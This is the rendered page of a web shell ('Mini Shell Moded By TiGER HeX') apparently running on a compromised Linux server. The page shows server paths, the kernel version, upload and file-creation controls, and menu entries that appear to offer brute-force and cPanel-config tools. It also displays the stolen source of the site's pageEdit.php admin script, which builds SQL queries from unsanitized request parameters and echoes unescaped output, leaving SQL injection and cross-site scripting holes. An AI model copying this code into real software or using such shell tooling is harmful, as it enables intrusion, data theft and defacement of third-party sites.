Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
mnt
/
volume_sfo2_01
/
50mmla
/
admin
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
/mnt/volume_sfo2_01/50mmla/admin/pageEdit.php
<? include_once('../includes/static/configure.php'); include_once('../includes/static/util.php'); include_once('../includes/static/dbcon.php'); include_once('../includes/static/gdimg.php'); include_once('../includes/static/sessions.php'); include_once('includes/static/util.php'); include_once('includes/appTop.php'); $page_id = str_replace(".php","",basename($_SERVER['PHP_SELF'])); if(!has_permission($page_id)){ die("You don't have permission to view this page!"); } include_once('includes/header.php'); ?> <? $page_id = 1; if(isset($_REQUEST['pageId'])){ $page_id = $_REQUEST['pageId']; } //content $html = ""; if(isset($_REQUEST['update'])){ $sql = "UPDATE 50mm_pages SET page_body = '".$_REQUEST['body']."' WHERE page_id = '$page_id'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $html = "Successfully Modified"; } $sql = "SELECT page_name,page_body FROM 50mm_pages WHERE page_id = '$page_id'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $row = $db->sql_fetchrow($result); ?> <div class="title">Modify Page</div> <form action="<?echo $_SERVER['PHP_SELF']?>" method="POST" enctype="multipart/form-data"> <table cellpadding="0" cellspacing="0" border="0" width="800"> <tr valign="top"> <td><?echo $row['page_name']?></td> </tr> <tr valign="top"> <td><textarea class="body" name="body" style="width: 500px; height: 300px;"><?echo $row['page_body']?></textarea></td> </tr> <tr valign="top"> <td><input name="update" type="submit" class="button" value="Save Changes"></td> </tr> </table> <input name="pageId" type="hidden" value="<?echo $page_id;?>"> </form> <div class="hilite"><?echo $html?></div> <? include_once('includes/footer.php'); include_once('includes/appBottom.php'); ?>